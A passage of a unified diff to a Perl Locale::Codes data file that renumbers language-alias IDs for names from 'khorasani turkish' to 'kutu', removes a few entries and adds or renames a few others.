       q(0),
       ],
    q(kholok) => [
@@ -37535,71 +37501,63 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(1),
       ],
    q(khorasani turkish) => [
-      q(3476),
+      q(3475),
       q(0),
       ],
    q(khorezmian) => [
-      q(7847),
+      q(7844),
       q(0),
       ],
    q(khotanese) => [
-      q(0224),
+      q(0223),
       q(0),
       ],
    q(khowar) => [
-      q(3348),
+      q(3347),
       q(0),
       ],
    q(khua) => [
-      q(7344),
+      q(7341),
       q(0),
       ],
    q(khuen) => [
-      q(3334),
+      q(3333),
       q(0),
       ],
    q(khumi chin) => [
-      q(1798),
+      q(1797),
       q(0),
       ],
    q(khun) => [
-      q(3407),
+      q(3406),
       q(0),
       ],
    q(khunsari) => [
-      q(3294),
+      q(3292),
       q(0),
       ],
    q(khvarshi) => [
-      q(3347),
-      q(0),
-      ],
-   q(khwedam) => [
-      q(7527),
-      q(1),
-      ],
-   q(kibala) => [
-      q(1298),
+      q(3346),
       q(0),
       ],
    q(kibet) => [
-      q(3356),
+      q(3355),
       q(0),
       ],
    q(kibiri) => [
-      q(5590),
+      q(5587),
       q(0),
       ],
    q(kickapoo) => [
-      q(3354),
+      q(3353),
       q(0),
       ],
    q(kiembu) => [
-      q(2213),
+      q(2212),
       q(1),
       ],
    q(kigiryama) => [
-      q(5155),
+      q(5151),
       q(1),
       ],
    q(kikai) => [
@@ -37607,51 +37565,51 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kikuyu) => [
-      q(0225),
+      q(0224),
       q(0),
       ],
    q(kildin sami) => [
-      q(6048),
+      q(6047),
       q(0),
       ],
    q(kilivila) => [
-      q(3361),
+      q(3360),
       q(0),
       ],
    q(kiliwa) => [
-      q(3427),
+      q(3426),
       q(0),
       ],
    q(kilmeri) => [
-      q(3359),
+      q(3358),
       q(0),
       ],
    q(kim) => [
-      q(3352),
+      q(3351),
       q(0),
       ],
    q(kim mun) => [
-      q(4319),
+      q(4318),
       q(0),
       ],
    q(kimaama) => [
-      q(3358),
+      q(3357),
       q(0),
       ],
    q(kimaghima) => [
-      q(3358),
+      q(3357),
       q(1),
       ],
    q(kimaragang) => [
-      q(3561),
+      q(3560),
       q(0),
       ],
    q(kimbu) => [
-      q(3370),
+      q(3369),
       q(0),
       ],
    q(kimbundu) => [
-      q(0228),
+      q(0227),
       q(0),
       ],
    q(kimki) => [
@@ -37659,43 +37617,43 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kimre) => [
-      q(3559),
+      q(3558),
       q(0),
       ],
    q(kinabalian) => [
-      q(1675),
+      q(1674),
       q(0),
       ],
    q(kinalakna) => [
-      q(3222),
+      q(3220),
       q(0),
       ],
    q(kinamiging manobo) => [
-      q(4358),
+      q(4357),
       q(0),
       ],
    q(kinaray-a) => [
-      q(3577),
+      q(3576),
       q(0),
       ],
    q(kinga) => [
-      q(7824),
+      q(7821),
       q(0),
       ],
    q(kinnauri) => [
-      q(3292),
+      q(3290),
       q(0),
       ],
    q(kintaq) => [
-      q(3492),
+      q(3491),
       q(0),
       ],
    q(kinuku) => [
-      q(3403),
+      q(3402),
       q(0),
       ],
    q(kinyarwanda) => [
-      q(0226),
+      q(0225),
       q(0),
       ],
    q(kioko) => [
@@ -37703,27 +37661,27 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kiong) => [
-      q(3412),
+      q(3411),
       q(0),
       ],
    q(kiorr) => [
-      q(7367),
+      q(7364),
       q(0),
       ],
    q(kiowa) => [
-      q(3364),
+      q(3363),
       q(0),
       ],
    q(kiowa apache) => [
-      q(0844),
+      q(0843),
       q(0),
       ],
    q(kipfokomo) => [
-      q(5472),
+      q(5468),
       q(1),
       ],
    q(kipsigis) => [
-      q(5983),
+      q(5982),
       q(0),
       ],
    q(kiput) => [
@@ -37731,47 +37689,47 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kir-balar) => [
-      q(3417),
+      q(3416),
       q(0),
       ],
    q(kirdki) => [
-      q(0487),
+      q(0486),
       q(3),
       ],
    q(kire) => [
-      q(2472),
+      q(2471),
       q(0),
       ],
    q(kirghiz) => [
-      q(0227),
+      q(0226),
       q(0),
       ],
    q(kirike) => [
-      q(5233),
+      q(5229),
       q(0),
       ],
    q(kirikiri) => [
-      q(3373),
+      q(3372),
       q(0),
       ],
    q(kirmanjki) => [
-      q(0487),
+      q(0486),
       q(4),
       ],
    q(kirmanjki (individual language)) => [
-      q(3369),
+      q(3368),
       q(0),
       ],
    q(kirmanjki (macrolanguage)) => [
-      q(0487),
+      q(0486),
       q(7),
       ],
    q(kirya-konzel) => [
-      q(2348),
+      q(2347),
       q(0),
       ],
    q(kis) => [
-      q(3367),
+      q(3366),
       q(0),
       ],
    q(kisa) => [
@@ -37779,35 +37737,35 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kisan) => [
-      q(7350),
+      q(7347),
       q(0),
       ],
    q(kisankasa) => [
-      q(3551),
+      q(3550),
       q(0),
       ],
    q(kisar) => [
-      q(3379),
+      q(3378),
       q(0),
       ],
    q(kisi) => [
-      q(3374),
+      q(3373),
       q(0),
       ],
    q(kistane) => [
-      q(2624),
+      q(2622),
       q(0),
       ],
    q(kiswahili) => [
-      q(6292),
+      q(6293),
       q(1),
       ],
    q(kita maninkakan) => [
-      q(4626),
+      q(4625),
       q(0),
       ],
    q(kitan) => [
-      q(7853),
+      q(7850),
       q(0),
       ],
    q(kitharaka) => [
@@ -37815,15 +37773,15 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(1),
       ],
    q(kitja) => [
-      q(2510),
+      q(2509),
       q(0),
       ],
    q(kitsai) => [
-      q(3360),
+      q(3359),
       q(0),
       ],
    q(kituba (congo)) => [
-      q(4357),
+      q(4356),
       q(0),
       ],
    q(kituba (democratic republic of congo)) => [
@@ -37831,11 +37789,11 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kiunum) => [
-      q(7092),
+      q(7090),
       q(0),
       ],
    q(kiwilwana) => [
-      q(4369),
+      q(4368),
       q(1),
       ],
    q(kla-dan) => [
@@ -37843,55 +37801,55 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(klamath-modoc) => [
-      q(3426),
+      q(3425),
       q(0),
       ],
    q(klao) => [
-      q(3446),
+      q(3445),
       q(0),
       ],
    q(klias river kadazan) => [
-      q(3563),
+      q(3562),
       q(0),
       ],
    q(klingon) => [
-      q(0433),
+      q(0432),
       q(0),
       ],
    q(knaanic) => [
-      q(1928),
+      q(1927),
       q(0),
       ],
    q(ko) => [
-      q(2385),
+      q(2384),
       q(0),
       ],
    q(koalib) => [
-      q(3353),
+      q(3352),
       q(0),
       ],
    q(koasati) => [
-      q(1761),
+      q(1760),
       q(0),
       ],
    q(koba) => [
-      q(3523),
+      q(3522),
       q(0),
       ],
    q(kobiana) => [
-      q(3217),
+      q(3215),
       q(0),
       ],
    q(kobol) => [
-      q(3325),
+      q(3324),
       q(0),
       ],
    q(kobon) => [
-      q(3540),
+      q(3539),
       q(0),
       ],
    q(koch) => [
-      q(3248),
+      q(3246),
       q(0),
       ],
    q(kochila tharu) => [
@@ -37899,7 +37857,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(koda) => [
-      q(1702),
+      q(1701),
       q(0),
       ],
    q(kodaku) => [
@@ -37907,15 +37865,15 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kodava) => [
-      q(3282),
+      q(3280),
       q(0),
       ],
    q(kodeoha) => [
-      q(6997),
+      q(6996),
       q(0),
       ],
    q(kodi) => [
-      q(3504),
+      q(3503),
       q(0),
       ],
    q(kodia) => [
@@ -37923,7 +37881,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(koenoem) => [
-      q(3226),
+      q(3224),
       q(0),
       ],
    q(kofa) => [
@@ -37931,7 +37889,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kofei) => [
-      q(3527),
+      q(3526),
       q(0),
       ],
    q(kofyar) => [
@@ -37939,43 +37897,43 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kogi) => [
-      q(3507),
+      q(3506),
       q(1),
       ],
    q(koguryo) => [
-      q(7846),
+      q(7843),
       q(0),
       ],
    q(kohin) => [
-      q(3423),
+      q(3422),
       q(0),
       ],
    q(kohistani shina) => [
-      q(5491),
+      q(5487),
       q(0),
       ],
    q(koho) => [
-      q(3531),
+      q(3530),
       q(0),
       ],
    q(kohumono) => [
-      q(1083),
+      q(1082),
       q(0),
       ],
    q(koi) => [
-      q(3419),
+      q(3418),
       q(0),
       ],
    q(koibal) => [
-      q(7844),
+      q(7841),
       q(0),
       ],
    q(koireng) => [
-      q(4918),
+      q(4916),
       q(0),
       ],
    q(koitabu) => [
-      q(3552),
+      q(3551),
       q(0),
       ],
    q(koiwat) => [
@@ -37987,7 +37945,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kok-nar) => [
-      q(2538),
+      q(2536),
       q(0),
       ],
    q(kokata) => [
@@ -37995,19 +37953,19 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(koke) => [
-      q(3515),
+      q(3514),
       q(0),
       ],
    q(koki naga) => [
-      q(5142),
+      q(5138),
       q(0),
       ],
    q(koko babangk) => [
-      q(5224),
+      q(5220),
       q(0),
       ],
    q(kokoda) => [
-      q(7432),
+      q(7429),
       q(0),
       ],
    q(kokola) => [
@@ -38015,23 +37973,23 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kokota) => [
-      q(3410),
+      q(3409),
       q(0),
       ],
    q(kol) => [
-      q(2233),
+      q(2232),
       q(1),
       ],
    q(kol (bangladesh)) => [
-      q(2233),
+      q(2232),
       q(0),
       ],
    q(kol (cameroon)) => [
-      q(1227),
+      q(1226),
       q(0),
       ],
    q(kol (papua new guinea)) => [
-      q(3510),
+      q(3509),
       q(0),
       ],
    q(kola) => [
@@ -38039,7 +37997,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kolbila) => [
-      q(3428),
+      q(3427),
       q(0),
       ],
    q(kolibugan subanon) => [
@@ -38051,23 +38009,23 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(koluwawa) => [
-      q(3449),
+      q(3448),
       q(0),
       ],
    q(kom (cameroon)) => [
-      q(1265),
+      q(1264),
       q(0),
       ],
    q(kom (india)) => [
-      q(3463),
+      q(3462),
       q(0),
       ],
    q(koma) => [
-      q(3475),
+      q(3474),
       q(0),
       ],
    q(komba) => [
-      q(3524),
+      q(3523),
       q(0),
       ],
    q(kombai) => [
@@ -38075,35 +38033,35 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kombio) => [
-      q(7285),
+      q(7283),
       q(0),
       ],
    q(komering) => [
-      q(3310),
+      q(3309),
       q(0),
       ],
    q(komi) => [
-      q(0230),
+      q(0229),
       q(0),
       ],
    q(komi-permyak) => [
-      q(3509),
+      q(3508),
       q(0),
       ],
    q(komi-zyrian) => [
-      q(3539),
+      q(3538),
       q(0),
       ],
    q(kominimung) => [
-      q(7434),
+      q(7431),
       q(0),
       ],
    q(komo (democratic republic of congo)) => [
-      q(3473),
+      q(3472),
       q(0),
       ],
    q(komo (sudan)) => [
-      q(7436),
+      q(7433),
       q(0),
       ],
    q(komodo) => [
@@ -38119,11 +38077,11 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kon keu) => [
-      q(3413),
+      q(3412),
       q(0),
       ],
    q(konabere) => [
-      q(1053),
+      q(1052),
       q(1),
       ],
    q(konai) => [
@@ -38131,59 +38089,59 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(konda) => [
-      q(3480),
+      q(3479),
       q(0),
       ],
    q(konda-dora) => [
-      q(3284),
+      q(3282),
       q(0),
       ],
    q(koneraw) => [
-      q(3252),
+      q(3250),
       q(0),
       ],
    q(kongo) => [
-      q(0231),
+      q(0230),
       q(0),
       ],
    q(konkani) => [
-      q(0229),
+      q(0228),
       q(0),
       ],
    q(konkani (individual language)) => [
-      q(3489),
+      q(3488),
       q(0),
       ],
    q(konkani (macrolanguage)) => [
-      q(0229),
+      q(0228),
       q(1),
       ],
    q(konkomba) => [
-      q(7437),
+      q(7434),
       q(0),
       ],
    q(konni) => [
-      q(3452),
+      q(3451),
       q(0),
       ],
    q(kono (guinea)) => [
-      q(3496),
+      q(3495),
       q(0),
       ],
    q(kono (nigeria)) => [
-      q(3436),
+      q(3435),
       q(0),
       ],
    q(kono (sierra leone)) => [
-      q(3490),
+      q(3489),
       q(0),
       ],
    q(konomala) => [
-      q(3502),
+      q(3501),
       q(0),
       ],
    q(konongo) => [
-      q(3233),
+      q(3231),
       q(0),
       ],
    q(konso) => [
@@ -38191,59 +38149,59 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(konyak naga) => [
-      q(4736),
+      q(4735),
       q(0),
       ],
    q(konyanka maninka) => [
-      q(4355),
+      q(4354),
       q(0),
       ],
    q(konzo) => [
-      q(3511),
+      q(3510),
       q(0),
       ],
    q(koongo) => [
-      q(3483),
+      q(3482),
       q(0),
       ],
    q(koonzime) => [
-      q(5341),
+      q(5337),
       q(0),
       ],
    q(koorete) => [
-      q(3568),
+      q(3567),
       q(0),
       ],
    q(kopar) => [
-      q(7439),
+      q(7436),
       q(0),
       ],
    q(kopkaka) => [
-      q(5284),
+      q(5280),
       q(0),
       ],
    q(korafe-yegha) => [
-      q(3535),
+      q(3534),
       q(0),
       ],
    q(korak) => [
-      q(3519),
+      q(3518),
       q(0),
       ],
    q(korana) => [
-      q(3569),
+      q(3568),
       q(0),
       ],
    q(korandje) => [
-      q(3232),
+      q(3230),
       q(0),
       ],
    q(kordofanian languages) => [
-      q(0516),
+      q(0515),
       q(0),
       ],
    q(korean) => [
-      q(0232),
+      q(0231),
       q(0),
       ],
    q(korean sign language) => [
@@ -38251,27 +38209,27 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(koreguaje) => [
-      q(1810),
+      q(1809),
       q(0),
       ],
    q(koresh-e rostam) => [
-      q(5225),
+      q(5221),
       q(0),
       ],
    q(korku) => [
-      q(3298),
+      q(3296),
       q(0),
       ],
    q(korlai creole portuguese) => [
-      q(6998),
+      q(6997),
       q(0),
       ],
    q(koro (cote d'ivoire)) => [
-      q(3296),
+      q(3294),
       q(0),
       ],
    q(koro (india)) => [
-      q(3111),
+      q(3109),
       q(0),
       ],
    q(koro (papua new guinea)) => [
@@ -38279,27 +38237,27 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(koro (vanuatu)) => [
-      q(3574),
+      q(3573),
       q(0),
       ],
    q(koro wachi) => [
-      q(1418),
+      q(1417),
       q(0),
       ],
    q(koromfe) => [
-      q(3307),
+      q(3305),
       q(0),
       ],
    q(koromira) => [
-      q(3553),
+      q(3552),
       q(0),
       ],
    q(koronadal blaan) => [
-      q(1389),
+      q(1388),
       q(0),
       ],
    q(koroni) => [
-      q(7369),
+      q(7366),
       q(0),
       ],
    q(korop) => [
@@ -38307,7 +38265,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(koropo) => [
-      q(7548),
+      q(7545),
       q(0),
       ],
    q(koroshi) => [
@@ -38315,43 +38273,43 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(korowai) => [
-      q(3333),
+      q(3332),
       q(0),
       ],
    q(korra koraga) => [
-      q(3285),
+      q(3283),
       q(0),
       ],
    q(korubo) => [
-      q(7440),
+      q(7437),
       q(0),
       ],
    q(korupun-sela) => [
-      q(3534),
+      q(3533),
       q(0),
       ],
    q(korur) => [
-      q(0948),
+      q(0947),
       q(1),
       ],
    q(korwa) => [
-      q(3297),
+      q(3295),
       q(0),
       ],
    q(koryak) => [
-      q(3542),
+      q(3541),
       q(0),
       ],
    q(kosadle) => [
-      q(3366),
+      q(3365),
       q(0),
       ],
    q(kosare) => [
-      q(3366),
+      q(3365),
       q(1),
       ],
    q(kosarek yale) => [
-      q(3411),
+      q(3410),
       q(0),
       ],
    q(kosena) => [
@@ -38359,47 +38317,47 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(koshin) => [
-      q(3355),
+      q(3354),
       q(0),
       ],
    q(kosli) => [
-      q(6184),
+      q(6185),
       q(1),
       ],
    q(kosraean) => [
-      q(0233),
+      q(0232),
       q(0),
       ],
    q(kota (gabon)) => [
-      q(3513),
+      q(3512),
       q(0),
       ],
    q(kota (india)) => [
-      q(3286),
+      q(3284),
       q(0),
       ],
    q(kota bangun kutai malay) => [
-      q(4479),
+      q(4478),
       q(0),
       ],
    q(kota marudu talantang) => [
-      q(2618),
+      q(2616),
       q(0),
       ],
    q(kotafon gbe) => [
-      q(3554),
+      q(3553),
       q(0),
       ],
    q(kotava) => [
-      q(0959),
+      q(0958),
       q(0),
       ],
    q(koti) => [
-      q(2235),
+      q(2234),
       q(0),
       ],
    q(kott) => [
-      q(7850),
+      q(7847),
       q(0),
       ],
    q(kouya) => [
@@ -38407,7 +38365,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kovai) => [
-      q(3545),
+      q(3544),
       q(0),
       ],
    q(kove) => [
@@ -38415,7 +38373,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kowaki) => [
-      q(7441),
+      q(7438),
       q(0),
       ],
    q(kowiai) => [
@@ -38423,31 +38381,31 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(koy sanjaq surat) => [
-      q(3547),
+      q(3546),
       q(0),
       ],
    q(koya) => [
-      q(3287),
+      q(3285),
       q(0),
       ],
    q(koyaga) => [
-      q(3308),
+      q(3306),
       q(0),
       ],
    q(koyo) => [
-      q(3508),
+      q(3507),
       q(0),
       ],
    q(koyra chiini songhay) => [
-      q(3342),
+      q(3341),
       q(0),
       ],
    q(koyraboro senni songhai) => [
-      q(5970),
+      q(5969),
       q(0),
       ],
    q(koyukon) => [
-      q(3518),
+      q(3517),
       q(0),
       ],
    q(kpagua) => [
@@ -38455,19 +38413,19 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kpala) => [
-      q(3530),
+      q(3529),
       q(0),
       ],
    q(kpan) => [
-      q(3529),
+      q(3528),
       q(0),
       ],
    q(kpasam) => [
-      q(5368),
+      q(5364),
       q(0),
       ],
    q(kpati) => [
-      q(3503),
+      q(3502),
       q(0),
       ],
    q(kpatili) => [
@@ -38475,19 +38433,19 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kpeego) => [
-      q(1833),
+      q(1832),
       q(0),
       ],
    q(kpelle) => [
-      q(0234),
+      q(0233),
       q(0),
       ],
    q(kpessi) => [
-      q(3261),
+      q(3259),
       q(0),
       ],
    q(kplang) => [
-      q(3526),
+      q(3525),
       q(0),
       ],
    q(krache) => [
@@ -38495,39 +38453,39 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kraho) => [
-      q(7461),
+      q(7458),
       q(0),
       ],
    q(kraol) => [
-      q(5788),
+      q(5787),
       q(0),
       ],
    q(krenak) => [
-      q(3560),
+      q(3559),
       q(0),
       ],
    q(krevinian) => [
-      q(7855),
+      q(7852),
       q(0),
       ],
    q(kreye) => [
-      q(7464),
+      q(7461),
       q(0),
       ],
-   q(kriang) => [
-      q(4846),
+   q(krikati-timbira) => [
+      q(7463),
       q(0),
       ],
-   q(krikati-timbira) => [
-      q(7466),
+   q(krim) => [
+      q(3578),
       q(0),
       ],
    q(krio) => [
-      q(3576),
+      q(3575),
       q(0),
       ],
    q(kriol) => [
-      q(5834),
+      q(5833),
       q(0),
       ],
    q(krisa) => [
@@ -38539,19 +38497,19 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(krongo) => [
-      q(3319),
+      q(3318),
       q(0),
       ],
    q(kru languages) => [
-      q(0237),
+      q(0236),
       q(0),
       ],
-   q(krung) => [
+   q(kru'ng 2) => [
       q(3581),
       q(0),
       ],
    q(krymchak) => [
-      q(3069),
+      q(3066),
       q(0),
       ],
    q(kryts) => [
@@ -38563,11 +38521,11 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kua-nsi) => [
-      q(7655),
+      q(7652),
       q(0),
       ],
    q(kuamasi) => [
-      q(7659),
+      q(7656),
       q(0),
       ],
    q(kuan) => [
@@ -38575,7 +38533,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kuanhua) => [
-      q(7420),
+      q(7417),
       q(0),
       ],
    q(kuanua) => [
@@ -38583,19 +38541,19 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kuanyama) => [
-      q(0239),
+      q(0238),
       q(0),
       ],
    q(kube) => [
-      q(3311),
+      q(3310),
       q(0),
       ],
    q(kubi) => [
-      q(3506),
+      q(3505),
       q(0),
       ],
    q(kubo) => [
-      q(3109),
+      q(3107),
       q(0),
       ],
    q(kubu) => [
@@ -38607,7 +38565,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kudiya) => [
-      q(3288),
+      q(3286),
       q(0),
       ],
    q(kudmali) => [
@@ -38615,15 +38573,15 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kudu-camo) => [
-      q(3516),
+      q(3515),
       q(0),
       ],
    q(kugama) => [
-      q(3517),
+      q(3516),
       q(0),
       ],
    q(kugbo) => [
-      q(3274),
+      q(3272),
       q(0),
       ],
    q(kui (india)) => [
@@ -38635,7 +38593,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kuijau) => [
-      q(2069),
+      q(2068),
       q(0),
       ],
    q(kuikuro-kalapalo) => [
@@ -38643,11 +38601,11 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kujarge) => [
-      q(6993),
+      q(6992),
       q(0),
       ],
    q(kuk) => [
-      q(3295),
+      q(3293),
       q(0),
       ],
    q(kukatja) => [
@@ -38655,27 +38613,27 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kuke) => [
-      q(2509),
+      q(2508),
       q(0),
       ],
    q(kukele) => [
-      q(3281),
+      q(3279),
       q(0),
       ],
    q(kukna) => [
-      q(3279),
+      q(3277),
       q(0),
       ],
    q(kuku-mangk) => [
-      q(7407),
+      q(7404),
       q(0),
       ],
    q(kuku-mu'inh) => [
-      q(7406),
+      q(7403),
       q(0),
       ],
    q(kuku-muminh) => [
-      q(7399),
+      q(7396),
       q(0),
       ],
    q(kuku-ugbanh) => [
@@ -38683,11 +38641,11 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kuku-uwanh) => [
-      q(6951),
+      q(6950),
       q(0),
       ],
    q(kuku-yalanji) => [
-      q(2670),
+      q(2668),
       q(0),
       ],
    q(kula) => [
@@ -38703,31 +38661,31 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kulina) => [
-      q(1906),
+      q(1905),
       q(1),
       ],
    q(kulina pano) => [
-      q(7448),
+      q(7445),
       q(0),
       ],
    q(kulisusu) => [
-      q(6995),
+      q(6994),
       q(0),
       ],
    q(kullu pahari) => [
-      q(3305),
+      q(3303),
       q(0),
       ],
    q(kulon-pazeh) => [
-      q(6945),
+      q(6944),
       q(0),
       ],
    q(kulung (nepal)) => [
-      q(3430),
+      q(3429),
       q(0),
       ],
    q(kulung (nigeria)) => [
-      q(1059),
+      q(1058),
       q(0),
       ],
    q(kumalu) => [
@@ -38735,7 +38693,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kumam) => [
-      q(3241),
+      q(3239),
       q(0),
       ],
    q(kuman (papua new guinea)) => [
@@ -38743,15 +38701,15 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kuman (russia)) => [
-      q(5709),
+      q(5707),
       q(0),
       ],
    q(kumaoni) => [
-      q(3306),
+      q(3304),
       q(0),
       ],
    q(kumarbhag paharia) => [
-      q(3460),
+      q(3459),
       q(0),
       ],
    q(kumba) => [
@@ -38759,23 +38717,23 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kumbainggar) => [
-      q(3323),
+      q(3322),
       q(0),
       ],
    q(kumbaran) => [
-      q(7132),
+      q(7130),
       q(0),
       ],
    q(kumbewaha) => [
-      q(7371),
+      q(7368),
       q(0),
       ],
    q(kumhali) => [
-      q(3570),
+      q(3569),
       q(0),
       ],
    q(kumiai) => [
-      q(2035),
+      q(2034),
       q(0),
       ],
    q(kumukio) => [
@@ -38783,11 +38741,11 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kumyk) => [
-      q(0240),
+      q(0239),
       q(0),
       ],
    q(kumzari) => [
-      q(7952),
+      q(7949),
       q(0),
       ],
    q(kunama) => [
@@ -38795,39 +38753,39 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kunbarlang) => [
-      q(7141),
+      q(7139),
       q(0),
       ],
    q(kunda) => [
-      q(3246),
+      q(3244),
       q(0),
       ],
    q(kundal shahi) => [
-      q(6004),
+      q(6003),
       q(0),
       ],
    q(kunduvadi) => [
-      q(7135),
+      q(7133),
       q(0),
       ],
    q(kung) => [
-      q(3293),
+      q(3291),
       q(0),
       ],
    q(kung-ekoka) => [
-      q(3498),
+      q(3497),
       q(0),
       ],
    q(kungarakany) => [
-      q(2494),
+      q(2493),
       q(0),
       ],
    q(kungardutyi) => [
-      q(2468),
+      q(2467),
       q(0),
       ],
    q(kunggari) => [
-      q(3316),
+      q(3315),
       q(0),
       ],
    q(kungkari) => [
@@ -38843,7 +38801,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kunigami) => [
-      q(7518),
+      q(7515),
       q(0),
       ],
    q(kunimaipa) => [
@@ -38851,15 +38809,15 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kunja) => [
-      q(5412),
+      q(5408),
       q(0),
       ],
    q(kunjen) => [
-      q(3388),
+      q(3387),
       q(0),
       ],
    q(kunyi) => [
-      q(4912),
+      q(4910),
       q(0),
       ],
    q(kunza) => [
@@ -38867,7 +38825,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kuo) => [
-      q(7523),
+      q(7520),
       q(0),
       ],
    q(kuot) => [
@@ -38879,15 +38837,15 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kupang malay) => [
-      q(4348),
+      q(4347),
       q(0),
       ],
    q(kupia) => [
-      q(3280),
+      q(3278),
       q(0),
       ],
    q(kupsabiny) => [
-      q(3543),
+      q(3542),
       q(0),
       ],
    q(kur) => [
@@ -38895,23 +38853,23 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kura ede nago) => [
-      q(5038),
+      q(5035),
       q(0),
       ],
    q(kurama) => [
-      q(3575),
+      q(3574),
       q(0),
       ],
    q(kuranko) => [
-      q(3486),
+      q(3485),
       q(0),
       ],
    q(kurdish) => [
-      q(0241),
+      q(0240),
       q(0),
       ],
    q(kuri) => [
-      q(4743),
+      q(4742),
       q(0),
       ],
    q(kuria) => [
@@ -38919,19 +38877,19 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kurichiya) => [
-      q(3289),
+      q(3287),
       q(0),
       ],
    q(kurmukar) => [
-      q(3303),
+      q(3301),
       q(0),
       ],
    q(kurnai) => [
-      q(6904),
+      q(6903),
       q(0),
       ],
    q(kurrama) => [
-      q(7000),
+      q(6999),
       q(0),
       ],
    q(kurti) => [
@@ -38939,7 +38897,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kurtokha) => [
-      q(7378),
+      q(7375),
       q(0),
       ],
    q(kuruaya) => [
@@ -38947,11 +38905,11 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kurudu) => [
-      q(3392),
+      q(3391),
       q(0),
       ],
    q(kurukh) => [
-      q(0238),
+      q(0237),
       q(0),
       ],
    q(kusaal) => [
@@ -38971,19 +38929,19 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kusunda) => [
-      q(3312),
+      q(3311),
       q(0),
       ],
    q(kutang ghale) => [
-      q(2509),
+      q(2508),
       q(1),
       ],
    q(kutchi) => [
-      q(3299),
+      q(3297),
       q(1),
       ],
    q(kutenai) => [
-      q(0242),
+      q(0241),
       q(0),
       ],
    q(kutep) => [
@@ -38991,7 +38949,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kuthant) => [
-      q(7526),
+      q(7523),
       q(0),
       ],
    q(kutong) => [
@@ -38999,19 +38957,19 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kutto) => [
-      q(3520),
+      q(3519),
       q(0),
       ],
    q(kutu) => [
